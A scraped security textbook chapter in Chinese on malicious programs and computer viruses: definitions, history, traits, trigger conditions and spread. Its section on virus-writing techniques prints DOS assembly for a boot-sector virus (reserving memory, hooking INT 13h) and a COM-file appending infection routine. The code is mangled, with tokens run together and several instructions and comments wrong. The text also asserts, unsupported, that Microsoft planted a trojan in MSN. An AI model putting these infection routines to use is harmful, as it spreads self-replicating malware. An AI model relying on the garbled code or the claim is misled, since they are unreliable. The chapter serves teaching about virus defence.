信息系统安全原理课件_第1页
信息系统安全原理课件_第2页
信息系统安全原理课件_第3页
信息系统安全原理课件_第4页
信息系统安全原理课件_第5页
已阅读5页,还剩979页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

惡意程式及其防範電腦病毒是惡意程式的一種。所謂惡意程式,是指一類特殊的程式,它們通常在用戶不知曉也未授權的情況下潛入到電腦系統中來。惡意程式可以分為許多類型。圖1.1為按照有無自我複製功能和需要不需要宿主對惡意程式的分類情形。陷門(TrapDoors)是進入程式的一些秘密入口。陷門中有些是程式員為了進行調試和測試而預留的一些特權,有些則是系統漏洞。駭客也挖空心思地設計陷門,以便以特殊的、不經授權的方式進入系統。陷門通常寄生於某些程式(有宿主),但無自我複製功能。邏輯炸彈是嵌入某些合法程式的一段代碼,沒有自我複製功能,在某些條件下會執行一個有害程式,造成一些破壞。特洛伊木馬是電腦網絡中一種包含有害代碼的有用或表面上有用的程式或過程,啟動時產生有害行為。它們不具備自我複製功能。

細菌是以自我繁殖為主要目的的程式。蠕蟲是一種通過網路自我複製的惡意程式。通常人們也把它稱為病毒的一種。因為,蠕蟲一旦被啟動,可以表現得像細菌和病毒,可以向系統注入特洛伊木馬,或進行任何次數的破壞或毀滅行動。典型的蠕蟲只會在內存維持一個活動副本。此外,蠕蟲是一個獨立程式,自身不改變任何其他程式,但可以攜帶具有改變其他程式的病毒。其中,電腦病毒是所有電腦用戶在電腦安全問題上,經常碰到的問題。在1999年SecurityPoral的報告中,排在電腦安全問題第一位的是電腦病毒事件,其次是與電腦病毒關係極為密切的駭客問題。所以本章以病毒為主,介紹惡意程式的特點及其防治。

1.1電腦病毒的概念返回1.1.1電腦病毒的定義人類發明了工具,改變了世界,也改變了人類自己。自20世紀40年代起,計算技術與電子技術的結合,使推動人類進步的工具從體力昇華到了智力。電腦的出現,將人類帶進了資訊時代,使人類生產力進入了一個特別的發展時期。

電腦的靈魂是程式。正是建立在微電子載體上的程式,才將電腦的延伸到了人類社會的各個領域。“成也蕭何,敗也蕭何”。人的智慧可以創造人類文明,也可以破壞人類已經創造的文明。隨著電腦系統設計技術向社會各個領域急劇擴展,人們開發出了將人類帶入資訊時代的電腦程式的同時,也開發出了給電腦系統帶來副作用的電腦病毒程式。在生物學界,病毒(virus)是一類沒有細胞結構但有遺傳、複製等生命特徵,主要由核酸和蛋白質組成的有機體。在《中華人民共和國電腦資訊系統安全保護條例》中,電腦病毒(ComputerVirus)被明確定義為:“電腦病毒,是指編制或者在電腦程式中插入的破壞電腦功能或者破壞數據、影響電腦使用,並且能夠自我複製的一組電腦指令或者程式代碼”。1.1.2電腦病毒的特徵電腦病毒有一些與生物界中的病毒極為相似的特徵,這也就是所以稱其為病毒的緣由。這些特徵有如下一些。1.傳染性和衍生性病毒也是一種程式,它與其他程式的顯著不同之處,就是它的傳染性。與生物界中的病毒可以從一個生物體傳播到另一個生物體一樣,電腦病毒可以借助各種管道從已經感染的電腦系統擴散到其他電腦系統。早在1949年,電腦的先驅者VonNeumann就在他的論文《複雜自動機組織論》中,提出了電腦程式在內存中自我複製的設想,勾畫了病毒程式的藍圖。1977年夏天,美國作家托馬斯·捷·瑞安在其幻想小說《P-1的青春》一書中構思了一種能夠自我複製的電腦程式,第一次使用了“電腦病毒”的術語。所以自我複製應當是電腦病毒的主要特徵。

20世紀60年代初,美國貝爾實驗室裏,三個年輕的程式員編寫了一個名為“磁芯大戰”的遊戲,遊戲中通過複製自身來擺脫對方的控制,這就是電腦“病毒”的雛形。1983年美國電腦專家弗雷德·科恩博士研製出一種在運行過程中可以自我複製的具有破壞性的程式,並在同年11月召開的國際電腦安全學術研討會,首次將病毒程式在VAX/750電腦上進行了實驗。世界上第一個電腦病毒就這樣出生在實驗室中。

20世紀80年代初,電腦病毒(如“巴基斯坦智囊”病毒)主要感染軟碟的引導區。20世紀80年代末,出現了感染硬碟的病毒(如“大麻”病毒)。20世紀90年代初,出現了感染檔的病毒(如“Jerusalem,黑色13號星期五”病毒)。接著出現了引導區和文件型“雙料”病毒,既感染磁片引導區又感染可執行檔。20世紀90年代中期,稱為“病毒生產機”的軟體開始出現,使病毒的傳播不再是簡單的自我複製,而是可以自動、輕易地自動生產出大量的“同族”新病毒。這些病毒代碼長度各不相同,自我加密、解密的密鑰也不相同,原文件頭重要參數的保存地址不同,病毒的發作條件和現象不同。

1995年大量具有相同“遺傳基因”的“同族”病毒的湧現,標誌著“病毒生產機”軟體已出現。目前國際上已有上百種“病毒生產機”軟體。這種“病毒生產機”軟體不用絞盡腦汁地去編程序,便可以輕易地自動生產出大量的“同族”新病毒。這些病毒代碼長度各不相同,自我加密、解密的密鑰也不相同,原文件頭重要參數的保存地址不同,病毒的發作條件和現象不同,但主體構造和原理基本相同。這就是病毒的衍生性。與此同時,Internet的發展,也為病毒的快速傳播提供了方便途徑。

2.潛伏性和隱蔽性電腦病毒通常是由技術高超者編寫的比較完美的、精巧嚴謹、短小精悍的程式。它們常常按照嚴格的秩序組織,與所在的系統網路環境相適應、相配合。病毒程式一旦取得系統控制權,可以在極短的時間內傳染大量程式。但是,被感染的程式並不是立即表現出異常,而是潛伏下來,等待時機。除了不發作外,電腦病毒的潛伏還依賴於其隱蔽性。為了隱蔽,病毒通常非常短小(一般只有幾百或1K位元組,此外還寄生於正常的程式或磁片較隱蔽的地方,也有個別以隱含檔形式存在,使人不經過代碼分析很難被發覺。

20世紀90年代初,電腦病毒開始具有對抗機制。例如YankeeDoole病毒,當它發現有人用Debug工具跟蹤它,就會自動從檔中逃走。此外還相繼出現了一些能對自身進行簡單加密的病毒,如1366(DaLian)、1824(N64)、1741(Dong)、1100等。加密的目的主要是防止跟蹤或掩蓋有關特徵等。例如在記憶體有1741病毒時,用DIR列目錄表,病毒會掩蓋被感染檔所增加的位元組數,使人看起來位元組數很正常。

3.寄生性(1)病毒的寄生場所寄生是病毒的重要特徵。電腦病毒一般寄生在以下地方:(a)寄生在可執行程式中。一旦程式執行,病毒就被啟動,病毒程式首先被執行並常駐記憶體,然後置觸發條件。感染的檔被執行後,病毒就會趁機感染下一個檔。檔型病毒可以分為源碼型病毒、嵌入型病毒和外殼型病毒。源碼型病毒是用高級語言編寫的,不進行編譯、鏈接,就無法傳染擴散。嵌入型病毒是嵌入在程式的中間,只能針對某些具體程式。外殼型病毒寄生在宿主程式的前面或後面,並修改程式的第1條指令,使病毒先於宿主程式執行,以便一執行宿主程式就傳染一次。

(b)寄生在硬碟的主引導扇區中。這類病毒也稱引導型病毒。任何操作系統都有自舉過程,自舉依靠引導模組進行,而操作系統的引導模組總是放在某個固定位置,這樣系統每次啟動就會在這個固定的地方來將引導模組讀入記憶體,緊接著就執行它,來把操作系統讀入記憶體,實現控制權的轉接。引導型病毒程式就是利用這一點,它自身佔據了引導扇區而將原來的引導扇區的內容和病毒的其他部分放到磁片的其他空間,並將這些扇區標誌為壞簇,不可寫其他資訊。這樣,系統的一次初始化,就啟動一次病毒,它首先將自身拷貝到記憶體,等待觸發條件到來。

引導型病毒按其寄生對象,可以分為MBR(主引導區)病毒和BR(引導區)病毒。MBR病毒也稱分區病毒,這類病毒寄生在硬碟分區主引導程式所佔據的硬碟0頭0柱面第1扇區,典型的有Stoned(大麻)病毒、2708病毒等。BR病毒則寄生在硬碟邏輯0扇區或軟碟0扇區(即0面0道的第1扇區),典型的有Brain病毒、小球病毒等。

(2)電腦病毒的寄生方式(a)替代法:病毒程式用自己的全部或部分代碼,替代磁片引導扇區或檔中的全部或部分內容。(b)鏈接法:病毒程式將自身代碼作為正常程式的一部分與原有正常程式鏈接在一起。鏈接的位置可能在正常程式的首部、尾部或中間。

4.觸發性潛伏下來的電腦病毒一般要在一定的條件下才被啟動,發起攻擊。病毒具有判斷這個條件的功能。

5.非授權執行性用戶在調用一個程式時,常常就把系統的控制權交給這個程式並給它分配相應的系統資源,使程式的執行對用戶是透明的。電腦病毒具有正常程式所具有的一切特性,它隱蔽在合法程式和數據中;當用戶運行正常程式時,病毒伺機取得系統的控制權,先於正常程式執行,並對用戶呈透明狀態。

6.破壞性電腦病毒的設計者進行病毒程式設計的目的就是為了攻擊破壞。下麵對病毒的破壞性進行分類介紹。(1)病毒破壞的能力按照病毒的破壞能力,可將病毒劃分為以下幾種:·無害型:除了傳染時減少磁片的可用空間外,對系統沒有其他影響。·無危險型:這類病毒僅僅是減少記憶體、顯示圖像、發出聲音及同類音響。·危險型:這類病毒在電腦系統操作中造成嚴重的錯誤。·非常危險型:這類病毒刪除程式、破壞數據、清除系統記憶體區和操作系統中重要的資訊。

(2)病毒的入侵方式

(a)源代碼嵌入攻擊型這類病毒主要入侵高級語言的根源程式。病毒在根源程式編譯之前就插入進來,最後隨根源程式一起被編譯成帶毒可執行檔。這類帶毒檔是極少數,因為這些病毒開發者不可能輕易得到那些軟體開發公司編譯前的根源程式,並且入侵的方式難度較大,需要非常專業的編程水準。(b)代碼取代攻擊型這類病毒主要是用它自身的代碼取代某個入侵程式或該程式的部分模組。這類病毒也少見,它主要是攻擊特定的程式,針對性較強,但是不易被發現,清除起來也較困難。

(c)系統修改型這類病毒主要是用自身代碼覆蓋或修改系統中的某些檔來達到調用或替代操作系統中的部分功能,由於是直接感染系統,危害較大,也是最為多見的一種病毒類型,多為檔型病毒。(d)外殼附加型這類病毒通常附加在正常程式的頭部或尾部,相當於給程式添加了一個外殼,在被感染的程式執行時,病毒代碼先被執行,然後才將正常程式調入記憶體。目前大多數檔型的病毒屬於這一類。

(3)病毒破壞性的表現(a)佔用CPU資源,額外佔用或消耗記憶體空間,或禁止分配記憶體、蠶食記憶體,導致一些大型程式執行受阻,使系統性能下降。(b)干擾系統運行,例如不執行命令、干擾內部命令的執行、虛發報警資訊、打不開檔、內部棧溢出、佔用特殊數據區、時鐘倒轉、重啟動、死機、檔無法存盤、檔存盤時丟失位元組、記憶體減小、格式化硬碟等。(c)攻擊CMOS。CMOS是保存系統參數(如系統時鐘、磁片類型、記憶體容量等)的重要場所。有的病毒(如CIH病毒)可以通過改寫CMOS參數,破壞系統硬體的運行。(d)攻擊系統數據區。硬碟的主引導扇區、boot(引導)扇區、FAT(檔分配)表、檔目錄等,是系統重要的數據,這些數據一旦受損,將造成相關檔的破壞。

(e)干擾外部設備運行,如·干擾鍵盤操作。如EDV病毒能封鎖鍵盤,使按任何鍵都沒有反應;還有病毒產生換字、抹掉緩存區字元、輸入紊亂等。·干擾螢幕顯示。如小球病毒產生跳動的小白點;瀑布病毒使顯示的字元像雨點一樣一個個落到螢幕底部等。·干擾聲響。如感染Attention病毒後,每按一鍵,喇叭就響一聲;YankeeDoodle病毒在每天下午5時整會播出歌曲“YankeeDoodle”;救護車病毒(AmbulanceCar)會在螢幕上出現一輛鳴著警笛來回跑的救護車。·干擾印表機。如Azsua病毒可以封鎖印表機介面LPT1,當使用印表機時,會發出缺紙的假報警;1024SBC病毒會使印表機出現斷斷續續的列印失常;Typo-COM病毒會更換字元。

(f)攻擊檔。現在發現的病毒中,大多數是檔型病毒。這些病毒會使染毒檔的長度、檔存盤時間和日期發生變化。例如,百年病毒、4096病毒等。(g)劫取機密數據。例如,微軟公司在它的MicrosoftNetwork中加入一種特洛伊木馬程式,會把用戶系統軟體和硬體的完整清單送回到微軟公司。(h)破壞網路系統的正常運行。例如發送垃圾郵件、佔用帶寬,使網路拒絕服務等。有些病毒的破壞作用往往是多樣的。

1.1.3電腦病毒的結構電腦病毒的種類很多,但是它們的主要結構是類似的,一般需要包含4部分:引導部分、傳染部分、表現部分和破壞部分。(1)引導部分:就是病毒程式的初始化部分。它的作用是將病毒的主體加載到記憶體,為傳染部分做準備(如駐留記憶體、修改中斷、修改高端記憶體、保存原中斷向量等操作)。(2)傳染部分:作用是將病毒代碼複製到傳染目標上去。傳染需要一定的條件。不同類型的病毒在傳染方式、傳染條件上各不相同。進行傳播之前,先要判斷傳染條件。(3)表現部分:作用是在被傳染系統上表現出特定現象。大部分病毒都是在一定條件下才會觸發表現部分的。(4)破壞部分:作用是產生破壞被傳染系統的行為。

1.2電腦病毒原理

返回1.2.1電腦病毒的引導過程電腦病毒的引導過程一般分為三步:駐留記憶體、竊取控制權和恢復系統功能。1.駐留記憶體病毒要發揮其破壞作用,多數要駐留記憶體。為了駐留記憶體,就必須開闢記憶體空間或覆蓋系統佔用的部分記憶體空間。2.竊取控制權電腦病毒駐留記憶體後,接下來的工作是取代或擴充系統原有功能,並竊取系統的控制權。3.恢復系統功能電腦病毒竊取系統控制權後,就要開始潛伏等待,即根據其設計思想,隱蔽自己,等待時機,在條件成熟時,再進行傳染和破壞。然而,病毒為了隱蔽自己,駐留記憶體後還要恢復系統,使系統不致死機。

1.2.2電腦病毒的觸發機制下麵例舉一些病毒的觸發(啟動)條件。(1)日期/時間觸發:電腦病毒讀取系統時鐘,判斷是否啟動。例如:PETER-2,在每年2月27日會提出3個問題,答錯後會將硬碟加密。YankeeDoodle,在每天下午5時發作。“黑色星期五”,逢13日的星期五發作。“上海一號”,在每年的三、六、九月的13日發作。1998年2月,臺灣省的陳盈豪,編寫出了破壞性極大的Windows惡性病毒CIH-1.2版,並定於每年的4月26日發作破壞,然後,悄悄地潛伏在網上的一些供人下載的軟體中。可是,兩個月的時間,被人下載的不多,到了4月26日,病毒只在臺灣省少量發作,並沒引起重視。陳盈豪又炮製了CIH-1.3版,並將破壞時間設在6月26日。7月,又炮製出了CIH-1.4版。這次,他乾脆將破壞時間設為每個月的26日。

(2)計數器觸發:電腦病毒內部設定一個計數單元,對系統事件進行計數,判定是否啟動。例如,2708病毒當系統啟動次數達到32次時被啟動,發起對串、並口地址的攻擊。(3)鍵盤觸發:當敲入某些字元時觸發(如AIDS病毒,在敲如A、I、D、S時發作)、或以擊鍵次數(如Devil’sDance病毒在用戶第2000次擊鍵時被觸發)或組合鍵等為激發條件(如Invader病毒在按下Ctrl+Alt+Del鍵時發作)。(4)啟動觸發:以系統的啟動次數作為觸發條件。例如Anti-Tei和Telecom病毒當系統第400次啟動時被啟動。(5)感染觸發:以感染檔個數、感染序列、感染磁片數、感染失敗數作為觸發條件。例如,BlackMonday病毒在運行第240個染毒程式時被啟動;VHP2病毒每感染8個檔就會觸發系統熱啟動操作等。(6)組合條件觸發:用多種條件綜合使用,作為電腦病毒的觸發條件。

1.2.3電腦病毒的傳播電腦病毒的傳播過程就是其傳染過程。病毒的傳染大體上有如下三個途徑:1.檔傳染傳播病毒的檔可以分為三類:(1)可執行檔,即擴展名為.EXE,.PE,.SYS等的檔。(2)文檔檔或數據檔,例如Word文檔,Exel文檔,Accss資料庫檔。巨集病毒(Macro)就感染這些檔。(3)Web文檔,如.html文檔和.htm文檔。已經發現的Web病毒有HTML/Prepend和HTML/Redirect等。

檔傳染可能採用如下一種方式:(1)駐留(Resident)複製:複製病毒裝入記憶體後,發現另一個系統運行的程式檔後進行傳染。(2)非駐留(Nonrresident)複製:病毒選擇磁片上一個或多個檔,不等它們裝入記憶體,就直接進行感染。

2.引導扇區傳染引導扇區病毒在系統初始化時自動裝入記憶體,然後簡單地將指令指針(指令計數器的內容)修改到一個存儲系統指令的新的位置。於是便以普通方式啟動,而病毒已經駐留在了記憶體。所以,不需要用戶執行磁片上任何被感染的程式,只要有訪問磁片的操作,就可以進行複製。

3.網路及電子郵件傳播與檔傳播和引導扇區傳播不同,由於數據共用和相互協作網絡傳播的是病毒直接通過網路傳染到目標機系統。

1.3電腦病毒編制的關鍵技術

返回1.3.1DOS引導型病毒編制的關鍵技術1.DOS系統的結構DOS系統由以下4部分組成:(1)引導記錄(BootRecord)。用於將IO.SYS模組裝入記憶體。(2)IO.SYS(DOS的基本輸入輸出模組BIOS),由下麵兩塊組成:

·系統初始化程式SYSINIT,完成初始化工作,主要包括:確定系統設備配置和記憶體容量;初始化串、I/O並口;計算後面模組的裝入位置並將MSDOS.SYS和COMMAND.COM裝入記憶體;設置系統參數,加載設置驅動程式。

·標準字元和塊設備驅動程,用於支持基本輸入輸出操作。(3)MSDOS.SYS(DOS的內核),提供應用程式管理、記憶體管理、檔管理等。(4)COMMAND.COM(DOS的外殼),是用戶與操作系統的介面。

2.DOS磁片的區域分配DOS格式化磁片由4個區域組成:引導扇區(BootArea)——硬碟含有主引導扇區、檔分配表(FAT)、根目錄表(RootDirectoryTable,FDT)和文件數據區(DataArea)。表1.1為DOS格式化磁片的區域組成。其中;邏輯區號=[柱面號×總面積+面號]×每到扇區數+扇區號表1.1DOS格式化磁片的區域組成。

360k軟碟分佈起始物理扇區20M硬碟分佈邏輯扇區號對應區域頭號柱面號扇區號邏輯扇區號對應區域01~45~1112~719

BOOT區FAT表根目錄表數據區0111300011112161401~8283~114115~41598主引導區BOOT區FAT表根目錄表數據區(1)主引導扇區,位於硬碟的0柱面0磁軌1扇區,存放有主引導記錄(MianBootRecord,MBR)和4個分區表(DiskPartitionTable,DPT)。圖1.2為主引導扇區的結構。

區域資訊內容0000H~00BAH主引導記錄啟動程式008BH~00D9H主引導記錄啟動字串01DAH~01BDH空閒區01BEH~01CDH分區1結構資訊01CEH~01DDH分區1結構資訊01DEH~01FDH分區1結構資訊01EEH~01FDH分區1結構資訊01FEH~01FFH55AAH主引導記錄有效標誌MBR的作用是檢查分區表是否正確以及確定哪個分區為引導分區(要將控制權交給的操作系統所在分區),並在程式結束時把該分區的啟動程式(即操作系統引導扇區)調入記憶體加以執行。

(2)引導扇區位於邏輯0扇區處(即軟碟的0面0道1扇區,硬碟的DOS分區的1扇區)。在DOS的啟動過程中,中斷服務程式INT19H(自舉程式)將引導記錄

調入記憶體的0000H~7C00H處,並把控制權交給它。這時,引導記錄將檢查啟動盤上是否有DOS系統,即根目錄中的前兩個檔是否為IO.SYS和MSDOS.SYS。若是,則把檔IO.SYS讀入到記憶體的70H~0H處,並把主控制權交給IO.SYS;否則給出非系統盤的錯誤資訊。

3.DOS的自舉過程圖1.3為DOS的自舉過程。可以看出,在這個自舉過程中,系統的控制權按照下麵的順序轉移:ROMBIOS→DOS引導程式→IO.SYS→MSDOS.SYS→COMMAND.COM→用戶

主引導記錄程式的基本功能是讀出自舉分區的BOOT程式,並把控制權轉移到分區BOOT程式。在這一過程中,關鍵性的技術有:(1)將本來要讀入到0000:7C00H處的硬碟主引導記錄程式轉移到0000:0600H處。代碼段如下:

偏移 機器碼 符號指令 說明

0000 FA cli ;遮罩中斷0001 33C0 xorax,ax ;0003 8ED0 movss,ax ;(ss)=0000H0005 BC007C movsp,7c00 ;(sp)=7C00H0008 8BF4 movsi,sp ;(si)=7C00H000A 50 pushax ;000B 07 popes ;(es)=0000H000C 50 pushax ;000D 1F popds ;(ds)=0000H000E FB sti ;000F FC cld ;0010 BF0006 movdi,0600 ;0013 890001 movcx,0100 ;0016 F2 repnz ;A5 movsw ;主引導程式把自己從0000:7c00處搬移到0000:0600處, ;為DOS分區的引導程式騰出空間 …(2)順序讀入4個分區表的自舉標誌,以找出自舉分區:若找不到,就轉向執行INT18H的BOOT異常,執行異常中斷程式。偏移 機器碼 符號指令 說明001D BEBE07 movsi,07be ;分區表首地址01BE=07BE-06000020 B304 movbl,04 ;最多4個分區0022 803C80 cmpbyteptr[si],80 ;80H表示活動分區0025 740E jz0035 ;找到活動分區則跳走0027 803C00 cmpbyteptr[si],00 ;00H表示有效分區002A 751C jnz0048;非80H,也非00H,為無效分區002C 83C610 addsi,+10;下一個分區表項,每項16(10H)位元組002F FECB decbl ;迴圈計數減10031 75EF jnz0022;檢查下一個分區表項0033 CD18 int18 ;4個都不可引導,進入ROMBIOS0035 8B14 movdx,[si] 0037 8B4C02 movcx,[si+02];取分區的引導扇區的柱面、扇區活動003A 8BEE movbp,si;繼續檢查後面的分區表項003C 83C610 addsi,+10 …(3)找到自舉分區後,檢測該分區的標誌:如果是32位或16位FAT,並支持13號中斷的擴展功能,就轉到執行13號中斷的41號功能調用,進行安裝檢測;檢測成功,就執行42號擴展功能調用,把BOOT程式讀入到記憶體0000:7c00H處。讀入成功,就執行0000:7c00H處的程式;讀入失敗,就調用13號中斷的讀扇區功能,把BOOT程式讀入到記憶體0000:7c00H處。4.引導型病毒的傳染過程引導型病毒制駐留在硬碟的主引導分區或硬/軟碟的DOS引導分區的病毒。它的感染過程分兩大步:裝入記憶體和攻擊。(1)裝入記憶體過程:

1系統開機後,進入系統檢測,檢測正常後,從0面0道1扇區,即邏輯0扇區讀取資訊到記憶體的0000~7C00處:

·正常時,磁片0面0道1扇區,即邏輯0扇區存放的是boot引導程式;

·操作系統感染了引導扇區病毒時,磁片0面0道1扇區,即邏輯0扇區存放的是病毒引導部分,boot引導程式被放到其他地方。例如,大麻病毒在軟碟中將原DOS引導扇區搬移到0道1面3扇區,在硬碟中將原DOS引導扇區搬移到0道0面7扇區;香港病毒則將原DOS引導扇區搬移到39磁軌第8扇區;Michelangelo病毒在高密度軟碟上,是第27扇區,在硬碟上是0道0面7扇區。

2系統開始運行病毒引導部分,將病毒的其他部分讀入到記憶體的某一安全區,常駐記憶體,監視系統的運行。3病毒修改INT13H中斷服務處理程式的入口地址,使之指向病毒控制模組並執行,以便必要時接管磁片操作的控制權。4病毒程式全部讀入後,接著讀入正常boot內容到記憶體0000:7C00H處,進行正常的啟動過程(這時病毒程式已經全不讀入記憶體,不再需要病毒的引導部分)。5病毒程式伺機等待隨時感染新的系統盤或非系統盤。

(2)攻擊過程。病毒程式發現有可攻擊的對象後,要進行下列工作:1將目標盤的引導扇區讀入記憶體,判斷它是否感染了病毒。2滿足感染條件時,將病毒的全部或一部分寫入boot區,把正常的磁片引導區程式寫入磁片特定位置。3返回正常的INT13H中斷服務處理程式,完成對目標盤的傳染過程。

5.引導型病毒的編制技術個人電腦開機後,會先執行主引導區代碼這一機制,給引導型病毒竊取第一控制權提供了機會。但是引導型病毒竊取控制權的時間只能是短暫的,然後就要引導DOS操作系統,否則就將敗露。在竊取控制權的這段時間內,病毒的引導部分主要要做下列事情。(1)為病毒代碼申請記憶體空間,為此要儘量減少DOS的存儲空間。相關代碼如下:…xorax,axmovess,axmovsp,7c00hmovds,axmovax,wordptrds:[413h] ;存放最大記憶體空間0000:0413subax,4 ;給病毒申請4kB的記憶體空間movds:[413h],ax…(2)修改傳播需要的中斷向量。相關代碼如下:

…beginprocfarpushds ;axds:axsubax,ax ;pushax movax,code ;將代碼段地址裝入ds,esmovds,ax movex,ax movax,segctrl_c ;修改向量,ds:dx指向ctrl_c副程式movds,ax ;movdx,offsetctrl_c movah,25h ;調用號ah=25Hmoval,23h ;修改中斷向量號al=23Hint21h ;系統調用指令…(3)讀入病毒的其他部分,進行病毒拼裝(在內存高端):先從已經標記的簇中某扇區讀入病毒的其他部分(這些簇往往被標記為壞簇),然後再讀入原引導記錄到0000:7C00H處,跳轉執行。相關代碼如下:

movcl,06h shlax,cl ;(ax)=8F80 addax,0840h ;(ax)=97c0 moves,ax movsi,7c00h ;(si)=7c00 movdi,si movcx,0100h repzmovsw ;將病毒移到高端v2: pushax popds pushaxmovbx,7c4bh pushbx ret ;指令執行轉入高端記憶體

callv3v3:xorah,ah ;(ah)=0int13h ;13H中斷調用movah,80handbyteptrds:[7df8h],al;v4:movbx,wordptrds:[7df9h];讀入病毒的其他部分pushcspopax ;(ax)=97c0subax,20h ;(ax)=97c0moves,ax ;(es)=97c0callv9movbx,wordptrds:[7df9h];加載邏輯扇區號incbx ;bx++是引導扇區movax,0ffc0h ;ffc0:8000=0000:7c00讀入原引導分區內容

moves,ax callv9 xorax,ax ;(ax)=0 movbyteptrds:[7df7h],al;標誌清0v5: movds,ax ;(ds)=0 movax,wordptrds:[4ch] movbx,wordptrds:[4ch] ;修改中斷向量

movwordptrds:[4ch],7cd6h movwordptrds:[4ch],cs;新int13H中斷已修改

pushcs popds ;(ds)=(cs) movwordptrds:[7d30h]:ax;保存原來的int13H中斷向量

movwordptrds:[7d32h]:bx;v6: movdl,byteptrds:[7df8h];加載驅動器盤符v7: jmp0000:7c00 ;跳轉db0eah,00h,7ch,00h,00h ;跳轉指令的二進位代碼(4)讀入原主引導分區,轉去執行DOS的引導工作。

1.3.2COM檔型病毒編制的關鍵技術1.COM檔的特點這裏,檔型病毒主要指DOS操作系統下的COM和EXE檔。首先介紹COM檔病毒程式的編制技術。COM檔具有如下特點:(1)COM檔的存儲代碼與記憶體映像完全相同COM檔是在DOS外殼上直接運行處理器指令和記憶體數據。為此,在COM檔中要包含COM程式的一個絕對映像(如圖1.4所示),並且MS-DOS要把該映像直接拷貝到記憶體加載COM程式,而不做任何改變。

(2)COM檔的長度不能超過65024位元組。COM檔是一種單段執行結構。如圖1.4所示,它要被分配在一個64k位元組的空間中。這個空間中除了要存放COM檔外,還要存放一個程式段首碼PSP和一個起始堆疊。而PSP的大小為256位元組,起始堆疊的最小空間為256位元組,所以COM檔最大不能超過65024位元組。(3)COM檔的第1條指令必須是程式的入口點。

2.COM檔的加載和啟動(1)分配記憶體:盡可能多地分配記憶體空間。在DOS運行另一個程式或分配另外的記憶體空間時,COM將釋放不需要的空間。(2)分配記憶體成功後,DOS建立一個PSP。如果PSP的第1個FCB含有一個有效驅動器識別字,即置AL為00H;否則置AL為0FFH(3)在PS後面(偏移100H)加載COM檔,同時置SS、DS和ES為PSP的段地址。(4)建立堆疊。DOS通過把控制權傳遞給偏移100H處的指令啟動程式。

3.可執行檔病毒的傳染過程(1)檔病毒在宿主檔(.com或.exe)被執行時,駐留記憶體;(2)病毒開始監視系統運行,等待被傳染目標出現;(3)病毒檢測可執行檔的特定地址的標識位,判斷該檔是否感染了病毒;(4)發現了被感染目標後,利用INT13H將病毒鏈接到可執行檔的首部、尾部或中間,並存入磁片中;(5)完成感染後,繼續監視系統的運行,尋找新的目標。

4.檔型病毒程式編制技術檔型病毒可以加在COM檔的前部,也可以加在COM檔的尾部。不管加在何處,都可以利用COM檔的第一條指令是程式的入口點,使啟動COM程式前先執行病毒程式。方法就是對程式開始處的指令進行修改。例如,病毒程式加在最後,就應當把程式開始處的指令修改成一條跳轉指令,跳轉到病毒所在的位置。等病毒程式執行完,再把控制權交還給COM程式。當然,實際做的工作並不這麼簡單。下麵是感染COM檔的典型病代碼。(1)修改了的檔頭部代碼cs:0100jmpendOfFile;db0e9h,0100h處為COM檔原來入口 ;dwCOM檔實際大小 ;endOfFile檔尾(加入病毒的位置)(2)在COM檔的尾部的病毒代碼部分…endOfFile:virusStart: ;病毒代碼

movax,orgcode mov[100],ax moval,[orgcode+2] mov[102],alvirusSize=$-virusStartresume: jmp100 ;db0e9h ;dw–(COM檔實際大小+病毒代碼大小)

orgcodedb3dup(?);原文件由0100開始的3個位元組(3)代碼的進一步完善病毒要感染COM檔,需要進行的工作有:·首先要把開始的3位元組保存到orgcode中,更改為0e9h;·

更改檔實際大小;·將resume開始的3位元組改為:0e9h-(COM檔實際大小+病毒代碼大小);·將病毒代碼寫到COM檔尾部;·進行感染的判斷和文件大小的判斷。假設:DS:DX指向VirusSize;VirusStart的定義如上。

;保存開始的4位元組並改寫db90h,0e9h ;0e990h為感染標誌dwsizeofcom

感染代碼:…movax,3d01hint21h ;為讀寫打開jcOpenErrorpushdxxchgax,bxmovax,4202hxorcx,cxint21h ;移到檔尾ordx,dxjnzcomplete ;大於4位元組的檔不感染cmpax,ofeeeh-ViusSIze-11jnbcompletecmpax,4jbcomplete ;小於4位元組的檔也不感染movdi,offsetorgcodemov[di+6],axadd[di+6],VirusSize ;產生替換代碼movax,4200hxorcx,cxxordx,dxint21h ;移到檔頭movcx,4movdx,dimovah,3fhint21h ;讀出4個位元組jccompletecmpwordptr[di],0e990h ;如果沒有感染,則 ;nop ;jmpXXXXjzcompletemovcx,4addah,40hint21h;在檔頭部寫4個位元組

movax,4202hxorcx,cxxordx,dxint21h ;移到檔尾

movah,40hmovdx,VirusSize+11int21h ;寫入病毒代碼到COM檔中complete:movah,3fhint21h ;關閉檔ErrorOpen:…1.3.3Win32PE病毒編制的關鍵技術1.Win32PE檔格式Win32PE檔就是Win32(Windows95/98/2000/XP)環境下的PE格式(PortableExecutableFormat)的可執行檔。為了瞭解病毒對它的感染機理,首先介紹PE檔的結構和運行機制。PE檔的格式如圖1.5所示。

(1)所有的PE檔必須以一個簡單的DOSMZ頭開始。(2)接著是一個極小(幾百個位元組)的DOS程式DOSstub,用於輸出警告,如“該程式不能在DOS模式下運行”。當Win32把一個PE檔映像加載到記憶體時,記憶體映像檔的第一個位元組對應到DOSStub的第一個位元組。(3)再接著是作為PE檔標誌的1024位元組的PE頭。執行體在支持PE檔的操作系統中執行時,PE裝載器將從DOSMZ頭中找到PE頭的偏移量。(4)PE檔的內容部分由一些稱為段的塊組成。每段是一塊具有共同屬性的數據。段數寫在段表中。

(5)PE檔的裝載過程1PE檔被執行時,PE裝載器檢查DOSMZ頭中的PE頭騙移量。找到了,就跳轉到PE頭。2PE檢查器檢查PE頭的有效性。有效,就跳轉到PE頭的尾部。3讀取段表中的資訊,通過檔映射,將段映射到記憶體,同時附上段表中指定的段的屬性。4PE檔映射到記憶體後,PE裝載器處理PE檔中的有關邏輯。

2.Win32PE病毒原理一個Win32PE病毒需要具有如下一些功能。(1)重定位定位主要指程式中數據的記憶體存儲位置。對於正常的程式來說,數據的記憶體存儲位置在編譯時就已經計算好了,程式裝入記憶體時不需要對它們重定位。病毒可能依附在宿主程式的不同位置,當病毒隨著宿主程式裝載到記憶體後,病毒中數據的位置也會隨之發生變化。由於指令是通過地址引用數據的,地址的不准確將導致病毒程式的不正確執行。為此,有必要對病毒代碼中的數據進行重定位。

